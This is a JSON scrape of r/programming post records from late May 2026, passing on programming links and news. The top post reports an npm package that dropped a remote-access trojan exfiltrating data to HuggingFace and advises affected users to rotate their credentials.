  "rowType": "post",
  "id": "t3_1tqwksq",
  "url": "https://safedep.io/microsoftsystem64-binary-payload-analysis/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tqwksq/someone_hid_a_full_rat_inside_a_fake_npm_package/",
  "title": "Someone hid a full RAT inside a fake npm package and exfiltrated victim data to HuggingFace",
  "body": "A malicious npm package name `js-logger-pack`, went through 29 versions on the registry which was looking innocuous logger and ending as a binary dropper.  \nThe payload it dropped was 81 MB of binary called MicrosoftSystem64 which is a full cross-platform RAT packaged as a Node.js Single Executable Application, so it shows up as a native binary to endpoint tools rather than a node process.\n\nAnd the clever bit was instead of sending the stolen data directly to a C2 server, it uploads everything to private **HuggingFace** datasets using an embedded API token. So all exfiltration traffic appears as normal HTTPS requests to a legitimate ML platform.  \nIf you have any of those in your install history then rotate everything like credentials, SSH keys, API tokens, crypto seed phrases. All packages list and full technical breakdown is in blog.",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 870,
  "upvoteRatio": 0.97,
  "numComments": 96,
  "createdAt": "2026-05-29T09:34:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/microsoftsystem64-binary-payload-analysis/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tqisnn",
  "url": "https://www.inngest.com/blog/node-worker-threads",
  "permalink": "https://www.reddit.com/r/programming/comments/1tqisnn/nodejs_worker_threads_are_problematic_but_they/",
  "title": "Node.js worker threads are problematic, but they work great for us",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 32,
  "upvoteRatio": 0.71,
  "numComments": 49,
  "createdAt": "2026-05-28T22:32:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.inngest.com/blog/node-worker-threads",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tqbgp4",
  "url": "https://labs.iximiuz.com/courses/computer-networking-fundamentals/from-lan-to-vxlan?expand=all",
  "permalink": "https://www.reddit.com/r/programming/comments/1tqbgp4/networking_fundamentals_for_developers_devops_and/",
  "title": "Networking Fundamentals For Developers, DevOps, and Platform Engineers",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 90,
  "upvoteRatio": 0.92,
  "numComments": 14,
  "createdAt": "2026-05-28T18:08:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/courses/computer-networking-fundamentals/from-lan-to-vxlan?expand=all",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq6jqt",
  "url": "https://anarthal.github.io/servertech-chat/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq6jqt/what_happens_when_you_build_a_chat_server_on_one/",
  "title": "What Happens When You Build a Chat Server on One Thread?",
  "body": null,
  "author": "boostlibs",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2026-05-28T15:14:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://anarthal.github.io/servertech-chat/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq65b4",
  "url": "https://jkm.dev/posts/how-2004-runescape-fit-a-multiplayer-rpg-into-56k-dialup/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq65b4/how_2004_runescape_fit_a_multiplayer_rpg_into_56k/",
  "title": "How 2004 RuneScape fit a multiplayer RPG into 56k dial-up",
  "body": null,
  "author": "jkmonger",
  "subreddit": "programming",
  "score": 667,
  "upvoteRatio": 0.96,
  "numComments": 38,
  "createdAt": "2026-05-28T15:00:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jkm.dev/posts/how-2004-runescape-fit-a-multiplayer-rpg-into-56k-dialup/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq568g",
  "url": "https://mark.engineer/2026/05/how-bad-was-the-intel-iapx-432-lets-find-out-in-practice/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq568g/benchmarking_real_iapx_432/",
  "title": "Benchmarking real iAPX 432",
  "body": null,
  "author": "mark-engineer",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.89,
  "numComments": 0,
  "createdAt": "2026-05-28T14:24:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mark.engineer/2026/05/how-bad-was-the-intel-iapx-432-lets-find-out-in-practice/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq52x8",
  "url": "https://computer.rip/2026-01-17-air-traffic-control-9020.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq52x8/air_traffic_control_the_ibm_9020/",
  "title": "air traffic control: the IBM 9020",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.96,
  "numComments": 5,
  "createdAt": "2026-05-28T14:21:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://computer.rip/2026-01-17-air-traffic-control-9020.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq2og7",
  "url": "https://youtu.be/YUUMidevekc?si=lv3n268rr39aUGth",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq2og7/who_makes_the_makefiles/",
  "title": "Who Makes the Makefiles?",
  "body": null,
  "author": "realguy2300000",
  "subreddit": "programming",
  "score": 175,
  "upvoteRatio": 0.86,
  "numComments": 91,
  "createdAt": "2026-05-28T12:50:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/YUUMidevekc?si=lv3n268rr39aUGth",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq2493",
  "url": "https://youtu.be/-6BbPwlR6o4?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq2493/modelbased_systems_engineering_requirements/",
  "title": "Model-Based Systems Engineering & Requirements Definition • Dennis Hansen & Jorge Orellana",
  "body": "Learn how to integrate model-based systems engineering (MBSE) with mission-driven requirements to create a connected framework that delivers reliable solutions designed with key objectives.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-05-28T12:27:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/-6BbPwlR6o4?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq1oq8",
  "url": "https://youtu.be/M_HCG1JPMQE",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq1oq8/java_is_memory_efficient/",
  "title": "Java *is* Memory Efficient",
  "body": null,
  "author": "daviddel",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 6,
  "createdAt": "2026-05-28T12:08:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/M_HCG1JPMQE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq1jya",
  "url": "https://robinsiep.com/blog/posts/go-errors/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq1jya/the_missing_context_of_go_errors/",
  "title": "The missing context of Go errors",
  "body": null,
  "author": "Mellowww",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 0,
  "createdAt": "2026-05-28T12:02:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://robinsiep.com/blog/posts/go-errors/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tq0lqp",
  "url": "https://gist.github.com/mickjc750/556fa3b6bb62f383ff2b4b6b99d84faa",
  "permalink": "https://www.reddit.com/r/programming/comments/1tq0lqp/stream_plumbing_in_embedded_systems/",
  "title": "Stream Plumbing in Embedded Systems",
  "body": "I've been documenting some thoughts on stream plumbing in embedded systems, based on my own frustrations encountered while interfacing modules on constrained platforms.\n\nMostly just an attempt to formalise patterns I've found to be working well recently.\n\nInterested in hearing how others approach this.",
  "author": "MickJC_75",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.89,
  "numComments": 1,
  "createdAt": "2026-05-28T11:19:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/mickjc750/556fa3b6bb62f383ff2b4b6b99d84faa",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tpz0os",
  "url": "https://github.com/apache/fory/releases/tag/v1.0.0",
  "permalink": "https://www.reddit.com/r/programming/comments/1tpz0os/apache_fory_serialization_100_released_now/",
  "title": "Apache Fory Serialization 1.0.0 Released Now",
  "body": "Hi everyone,\n\nApache Fory 1.0 has been released recently.\n\nFory is a fast multi-language serialization framework for native objects, Schema IDL, and cross-language data exchange. It supports Java, Python, C++, Go, Rust, JavaScript/TypeScript, C#, Swift, Dart, Scala, and Kotlin.\n\nThe main idea is simple: in many systems, data is not just a flat schema message. Applications often need to serialize idiomatic domain objects, nested containers, polymorphic types, object references, shared references, or even circular object graphs. Fory is designed to handle these cases efficiently while still supporting cross-language data exchange when needed.\n\nWith 1.0, Fory has reached a more stable point:\n\n* Cross-language serialization is now the default path across supported languages\n* Schema IDL supports richer object models, including shared and circular references\n* Decimal and bfloat16 support were added\n* Nested container and field codec support has improved across runtimes\n* Kotlin, Scala, Android, Swift, and Dart support have been expanded\n* Benchmarks and documentation have been refreshed\n\nFory is not meant to replace Protobuf everywhere. Protobuf is still a great choice for many schema-first API contracts. Fory is more focused on cases where you want high-performance serialization while preserving more of the native object model, or where the same data model needs to move across multiple runtimes without too much glue code.\n\nLinks:\n\n* GitHub: [https://github.com/apache/fory](https://github.com/apache/fory) \n* Website: [https://fory.apache.org/](https://fory.apache.org/) \n* Release note: [https://fory.apache.org/blog/fory\\_1\\_0\\_0\\_release/](https://fory.apache.org/blog/fory_1_0_0_release/)\n\nI would be interested in feedback from people who have worked with Protobuf, FlatBuffers, Kryo, JDK serialization, pickle/cloudpickle, Avro, MessagePack, or Arrow-based systems.\n\nWhat serialization problems are still painful in your multi-language systems?",
  "author": "Shawn-Yang25",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.81,
  "numComments": 3,
  "createdAt": "2026-05-28T09:58:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/apache/fory/releases/tag/v1.0.0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tpvbpx",
  "url": "https://okmij.org/ftp/Algorithms/map-monoid-reduce.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tpvbpx/folding_in_parallel/",
  "title": "Folding in Parallel",
  "body": null,
  "author": "Xaneris47",
  "subreddit": "programming",
  "score": 118,
  "upvoteRatio": 0.97,
  "numComments": 9,
  "createdAt": "2026-05-28T06:28:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://okmij.org/ftp/Algorithms/map-monoid-reduce.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tpl0e4",
  "url": "https://shbhmrzd.github.io/ai/ml-foundations/llm-training/2026/05/27/how-llms-process-text.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tpl0e4/how_llms_work_part_1_how_llms_process_text/",
  "title": "How LLMs Work, Part 1: How LLMs Process Text",
  "body": "I am a software developer who has been using LLMs extensively at work. I wanted to develop a foundational understanding of LLMs, but have no background in machine learning or statistics. So, I started to read and take notes with the goal to eventually write up a developer's guide to the foundations of LLMs. The article kept growing, so I have split it into four parts. This is the first in the series.\n\nHope this helps!",
  "author": "Normal-Tangelo-7120",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 3,
  "createdAt": "2026-05-27T22:35:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shbhmrzd.github.io/ai/ml-foundations/llm-training/2026/05/27/how-llms-process-text.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tpjar1",
  "url": "https://openliberty.io/blog/2026/05/27/Jakarta-EE-11-in-Open-Liberty.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tpjar1/jakarta_ee_11_from_newbie_to_pro_with_open_liberty/",
  "title": "Jakarta EE 11 from Newbie to Pro with Open Liberty",
  "body": null,
  "author": "henk53",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.23,
  "numComments": 0,
  "createdAt": "2026-05-27T21:30:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://openliberty.io/blog/2026/05/27/Jakarta-EE-11-in-Open-Liberty.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tph0c5",
  "url": "https://read.thecoder.cafe/p/metastable-failures",
  "permalink": "https://www.reddit.com/r/programming/comments/1tph0c5/metastable_failures_explained_why_fixing_the/",
  "title": "Metastable Failures Explained: Why Fixing the Trigger Fails",
  "body": null,
  "author": "teivah",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.86,
  "numComments": 0,
  "createdAt": "2026-05-27T20:06:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://read.thecoder.cafe/p/metastable-failures",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tp7msv",
  "url": "https://www.youtube.com/watch?v=iqddnwKF8HQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1tp7msv/jetbrains_interviews_andrew_kelley_about_zig_video/",
  "title": "JetBrains interviews Andrew Kelley about Zig [video]",
  "body": null,
  "author": "Cool_Technician_6380",
  "subreddit": "programming",
  "score": 189,
  "upvoteRatio": 0.79,
  "numComments": 113,
  "createdAt": "2026-05-27T14:41:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=iqddnwKF8HQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tp2hi2",
  "url": "https://medium.com/@Programmer-RD-AI/how-aws-nitro-enclaves-attestation-actually-works-b6361a9722ff",
  "permalink": "https://www.reddit.com/r/programming/comments/1tp2hi2/how_aws_nitro_enclaves_attestation_actually_works/",
  "title": "How AWS Nitro Enclaves Attestation Actually Works",
  "body": null,
  "author": "No-Comfortable-4920",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.75,
  "numComments": 0,
  "createdAt": "2026-05-27T11:16:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@Programmer-RD-AI/how-aws-nitro-enclaves-attestation-actually-works-b6361a9722ff",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tor1h9",
  "url": "https://daniel.haxx.se/blog/2026/05/26/the-pressure/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tor1h9/the_pressure/",
  "title": "The pressure",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 607,
  "upvoteRatio": 0.96,
  "numComments": 95,
  "createdAt": "2026-05-27T01:37:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://daniel.haxx.se/blog/2026/05/26/the-pressure/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tomtee",
  "url": "https://www.unicode.org/versions/Unicode18.0.0/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tomtee/unicode_1800_beta/",
  "title": "Unicode 18.0.0 Beta",
  "body": null,
  "author": "PthariensFlame",
  "subreddit": "programming",
  "score": 171,
  "upvoteRatio": 0.96,
  "numComments": 32,
  "createdAt": "2026-05-26T22:41:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.unicode.org/versions/Unicode18.0.0/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1toh70g",
  "url": "https://www.youtube.com/watch?v=td8Yf__kdqw",
  "permalink": "https://www.reddit.com/r/programming/comments/1toh70g/samy_kamkar_on_the_myspace_worm_reverse/",
  "title": "Samy Kamkar on the MySpace worm, reverse engineering, privacy, and Openpath",
  "body": "I interviewed Samy about the MySpace worm, being approached by Epstein's team, reverse engineering games as a teenager, internet privacy, and building Openpath.\n\nSome sections people here may find interesting:\n\n07:54 — Counter-Strike cheats & game hacking\n\n16:00 — Creating the Samy Worm\n\n22:00 — Secret Service raid\n\n31:00 — Manipulating Google Maps traffic\n\n50:00 — Selling Openpath to Motorola\n\n55:55 — Being contacted by Jeffrey Epstein\n\n1:18:15 — Security in the vibe-coding era",
  "author": "rorfm",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.69,
  "numComments": 10,
  "createdAt": "2026-05-26T19:19:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=td8Yf__kdqw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1todnxi",
  "url": "https://cedardb.com/blog/doombench/",
  "permalink": "https://www.reddit.com/r/programming/comments/1todnxi/doombench_can_your_data_stack_run_doom/",
  "title": "DOOMbench: Can Your Data Stack Run DOOM?",
  "body": null,
  "author": "Yaruxi",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.69,
  "numComments": 0,
  "createdAt": "2026-05-26T17:21:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cedardb.com/blog/doombench/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1toa0rn",
  "url": "https://blog.mathankumar.in/my-experiments-with-distributed-systems-google-cloud-spanner-3ed5e40dbf86",
  "permalink": "https://www.reddit.com/r/programming/comments/1toa0rn/the_sql_instincts_that_will_hurt_you_in_google/",
  "title": "The SQL instincts that will hurt you in Google Cloud Spanner",
  "body": null,
  "author": "mathankumart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.25,
  "numComments": 0,
  "createdAt": "2026-05-26T15:17:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.mathankumar.in/my-experiments-with-distributed-systems-google-cloud-spanner-3ed5e40dbf86",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1to9fp4",
  "url": "https://ironpeak.be/blog/bypassing-apple-mie/",
  "permalink": "https://www.reddit.com/r/programming/comments/1to9fp4/pardon_mie_how_researchers_found_first_ever/",
  "title": "Pardon MIE? - How Researchers Found First Ever Bypass Of Apple's Memory Integrity Enforcement",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.68,
  "numComments": 3,
  "createdAt": "2026-05-26T14:56:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ironpeak.be/blog/bypassing-apple-mie/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1to689m",
  "url": "https://youtu.be/fMpDgsjBQzg",
  "permalink": "https://www.reddit.com/r/programming/comments/1to689m/webassembly_on_kubernetes_nicolas_frankel/",
  "title": "WebAssembly on Kubernetes • Nicolas Frankel",
  "body": "WebAssembly started as a technology tailored to web browsers and is becoming popular as a server-side technology as well. The next step is for Wasm to become a powerful tool for cloud-native applications. When combined with Kubernetes, WebAssembly can revolutionize application deployment, security, and resource efficiency in ways traditional containers cannot.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.65,
  "numComments": 12,
  "createdAt": "2026-05-26T13:00:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/fMpDgsjBQzg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1to1anl",
  "url": "https://ikesau.co/blog/defeating-git-rigour-fatigue-with-jujutsu/",
  "permalink": "https://www.reddit.com/r/programming/comments/1to1anl/defeating_git_rigour_fatigue_with_jujutsu/",
  "title": "defeating git rigour fatigue with jujutsu",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.65,
  "numComments": 3,
  "createdAt": "2026-05-26T09:02:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ikesau.co/blog/defeating-git-rigour-fatigue-with-jujutsu/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1to0qjf",
  "url": "https://gudok.xyz/transpose/",
  "permalink": "https://www.reddit.com/r/programming/comments/1to0qjf/what_it_takes_to_transpose_a_matrix/",
  "title": "What it takes to transpose a matrix",
  "body": null,
  "author": "amaurea",
  "subreddit": "programming",
  "score": 129,
  "upvoteRatio": 0.95,
  "numComments": 24,
  "createdAt": "2026-05-26T08:30:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gudok.xyz/transpose/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1to0fgn",
  "url": "https://youtu.be/KshwFaHJA0U",
  "permalink": "https://www.reddit.com/r/programming/comments/1to0fgn/langchain_and_python_websearch_with_tavily/",
  "title": "LangChain and Python Websearch with Tavily",
  "body": null,
  "author": "Efficient-Public-551",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.15,
  "numComments": 0,
  "createdAt": "2026-05-26T08:13:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/KshwFaHJA0U",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tnqsh6",
  "url": "https://freenet.org/pdf/freenet-whitepaper.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1tnqsh6/freenet_a_peertopeer_platform_for_realtime/",
  "title": "Freenet: A Peer-to-Peer Platform for Real-Time Decentralized Applications (whitepaper)",
  "body": null,
  "author": "sanity",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.73,
  "numComments": 16,
  "createdAt": "2026-05-26T00:25:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://freenet.org/pdf/freenet-whitepaper.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tnmtm5",
  "url": "https://youtu.be/5zOgimIgYqA?si=TgseElKsZ_Msn7Jy",
  "permalink": "https://www.reddit.com/r/programming/comments/1tnmtm5/jujutsu/",
  "title": "Jujutsu",
  "body": null,
  "author": "David-Kunz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 2,
  "createdAt": "2026-05-25T21:41:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/5zOgimIgYqA?si=TgseElKsZ_Msn7Jy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tngfrp",
  "url": "https://toml-schema.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tngfrp/toml_schema/",
  "title": "TOML Schema",
  "body": null,
  "author": "brunocborges",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 1,
  "createdAt": "2026-05-25T17:47:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://toml-schema.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tn7v1p",
  "url": "https://event-driven.io/en/how-soon-is-now-in-postgresql/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tn7v1p/how_soon_is_now_in_postgresql/",
  "title": "How soon is now in PostgreSQL?",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 106,
  "upvoteRatio": 0.93,
  "numComments": 18,
  "createdAt": "2026-05-25T12:34:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://event-driven.io/en/how-soon-is-now-in-postgresql/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tn7bft",
  "url": "https://www.madrigalgames.com/blog/how-i-made-my-zig-gameplay-code-hot-reloadable/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tn7bft/how_i_made_my_zig_gameplay_code_hot_reloadable/",
  "title": "How I made my Zig gameplay code hot reloadable",
  "body": "A couple of months ago I made the zig parts of my game’s codebase hot reloadable. A few people have asked me about challenges and issues with doing that, so I wrote a blog post about it.\n\nNot a how-to tutorial, but rather “this is what I did”. Hoping it will be useful to someone trying to do the same thing :)",
  "author": "unvestigate",
  "subreddit": "programming",
  "score": 90,
  "upvoteRatio": 0.92,
  "numComments": 10,
  "createdAt": "2026-05-25T12:12:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.madrigalgames.com/blog/how-i-made-my-zig-gameplay-code-hot-reloadable/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tn5359",
  "url": "https://www.hitechies.com/github-breach-nx-console-vscode-teampcp-may-2026/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tn5359/psa_vscode_extensions_nx_console_teampcp/",
  "title": "PSA: VSCode extensions (NX Console, TeamPCP) compromised in GitHub breach",
